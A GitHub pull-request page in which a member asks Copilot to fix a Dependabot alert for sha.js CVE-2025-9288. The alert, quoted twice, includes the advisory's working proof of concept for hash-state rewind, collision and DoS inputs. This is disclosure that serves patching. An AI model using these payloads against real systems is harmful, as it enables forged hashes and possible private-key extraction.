Conversation
Member
Author
|
@copilot Dependabot Security Alert{
"number": 105,
"state": "open",
"dependency": {
"package": {
"ecosystem": "npm",
"name": "sha.js"
},
"manifest_path": "client/pnpm-lock.yaml",
"scope": "runtime",
"relationship": "transitive"
},
"security_advisory": {
"ghsa_id": "GHSA-95m3-7q98-8xr5",
"cve_id": "CVE-2025-9288",
"summary": "sha.js is missing type checks leading to hash rewind and passing on crafted data",
"description": "### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n const hash = sha('sha256')\n messages.forEach((m) => hash.update(m))\n return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)",
"severity": "critical",
"identifiers": [
{
"value": "GHSA-95m3-7q98-8xr5",
"type": "GHSA"
},
{
"value": "CVE-2025-9288",
"type": "CVE"
}
],
"references": [
{
"url": "https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9288"
},
{
"url": "https://github.com/browserify/sha.js/pull/78"
},
{
"url": "https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2025-9287"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html"
},
{
"url": "https://github.com/advisories/GHSA-95m3-7q98-8xr5"
}
],
"published_at": "2025-08-21T14:47:55Z",
"updated_at": "2025-11-03T21:35:27Z",
"withdrawn_at": null,
"vulnerabilities": [
{
"package": {
"ecosystem": "npm",
"name": "sha.js"
},
"severity": "critical",
"vulnerable_version_range": "<= 2.4.11",
"first_patched_version": {
"identifier": "2.4.12"
}
}
],
"cvss_severities": {
"cvss_v3": {
"vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"score": 9.1
},
"cvss_v4": {
"vector_string": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N",
"score": 9.1
}
},
"epss": {
"percentage": 0.00041,
"percentile": 0.12475
},
"cvss": {
"vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"score": 9.1
},
"cwes": [
{
"cwe_id": "CWE-20",
"name": "Improper Input Validation"
}
]
},
"security_vulnerability": {
"package": {
"ecosystem": "npm",
"name": "sha.js"
},
"severity": "critical",
"vulnerable_version_range": "<= 2.4.11",
"first_patched_version": {
"identifier": "2.4.12"
}
},
"url": "https://api.github.com/repos/Vizzuality/fora/dependabot/alerts/105",
"html_url": "https://github.com/Vizzuality/fora/security/dependabot/105",
"created_at": "2025-08-21T23:57:43Z",
"updated_at": "2025-08-21T23:57:43Z",
"dismissal_request": null,
"dismissed_at": null,
"dismissed_by": null,
"dismissed_reason": null,
"dismissed_comment": null,
"fixed_at": null,
"auto_dismissed_at": null
}TaskAnalyze the alert above and fix the vulnerability.
|
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Dependabot Security Alert
{ "number": 105, "state": "open", "dependency": { "package": { "ecosystem": "npm", "name": "sha.js" }, "manifest_path": "client/pnpm-lock.yaml", "scope": "runtime", "relationship": "transitive" }, "security_advisory": { "ghsa_id": "GHSA-95m3-7q98-8xr5", "cve_id": "CVE-2025-9288", "summary": "sha.js is missing type checks leading to hash rewind and passing on crafted data", "description": "### Summary\n\nThis is the same as [GHSA-cpq7-6gpm-g9rc](https://github.com/browserify/cipher-base/security/advisories/GHSA-cpq7-6gpm-g9rc) but just for `sha.js`, as it has its own implementation.\n\nMissing input type checks can allow types other than a well-formed `Buffer` or `string`, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.\n\n### Details\n\nSee PoC\n\n### PoC\n```js\nconst forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])\n\nconst sha = require('sha.js')\nconst { randomBytes } = require('crypto')\n\nconst sha256 = (...messages) => {\n const hash = sha('sha256')\n messages.forEach((m) => hash.update(m))\n return hash.digest('hex')\n}\n\nconst validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever\n\nconst payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')\nconst receivedMessage = JSON.parse(payload) // e.g. over network, whatever\n\nconsole.log(sha256(...validMessage))\nconsole.log(sha256(...receivedMessage))\nconsole.log(receivedMessage[0])\n```\n\nOutput:\n```\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\n638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4\nHashed input means safe\n```\n\nOr just:\n```console\n> require('sha.js')('sha256').update('foo').digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')\n'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'\n```\n\n### Impact\n\n1. Hash state rewind on `{length: -x}`. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.\n2. Value miscalculation, e.g. a collision is generated by `{ length: buf.length, ...buf, 0: buf[0] + 256 }`\n This will result in the same hash as of `buf`, but can be treated by other code differently (e.g. bn.js)\n4. DoS on `{length:'1e99'}`\n5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)", "severity": "critical", "identifiers": [ { "value": "GHSA-95m3-7q98-8xr5", "type": "GHSA" }, { "value": "CVE-2025-9288", "type": "CVE" } ], "references": [ { "url": "https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9288" }, { "url": "https://github.com/browserify/sha.js/pull/78" }, { "url": "https://github.com/browserify/sha.js/commit/f2a258e9f2d0fcd113bfbaa49706e1ac0d979ba5" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2025-9287" }, { "url": "https://lists.debian.org/debian-lts-announce/2025/09/msg00016.html" }, { "url": "https://github.com/advisories/GHSA-95m3-7q98-8xr5" } ], "published_at": "2025-08-21T14:47:55Z", "updated_at": "2025-11-03T21:35:27Z", "withdrawn_at": null, "vulnerabilities": [ { "package": { "ecosystem": "npm", "name": "sha.js" }, "severity": "critical", "vulnerable_version_range": "<= 2.4.11", "first_patched_version": { "identifier": "2.4.12" } } ], "cvss_severities": { "cvss_v3": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "score": 9.1 }, "cvss_v4": { "vector_string": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N", "score": 9.1 } }, "epss": { "percentage": 0.00041, "percentile": 0.12475 }, "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "score": 9.1 }, "cwes": [ { "cwe_id": "CWE-20", "name": "Improper Input Validation" } ] }, "security_vulnerability": { "package": { "ecosystem": "npm", "name": "sha.js" }, "severity": "critical", "vulnerable_version_range": "<= 2.4.11", "first_patched_version": { "identifier": "2.4.12" } }, "url": "https://api.github.com/repos/Vizzuality/fora/dependabot/alerts/105", "html_url": "https://github.com/Vizzuality/fora/security/dependabot/105", "created_at": "2025-08-21T23:57:43Z", "updated_at": "2025-08-21T23:57:43Z", "dismissal_request": null, "dismissed_at": null, "dismissed_by": null, "dismissed_reason": null, "dismissed_comment": null, "fixed_at": null, "auto_dismissed_at": null }Task
Analyze the alert above and fix the vulnerability.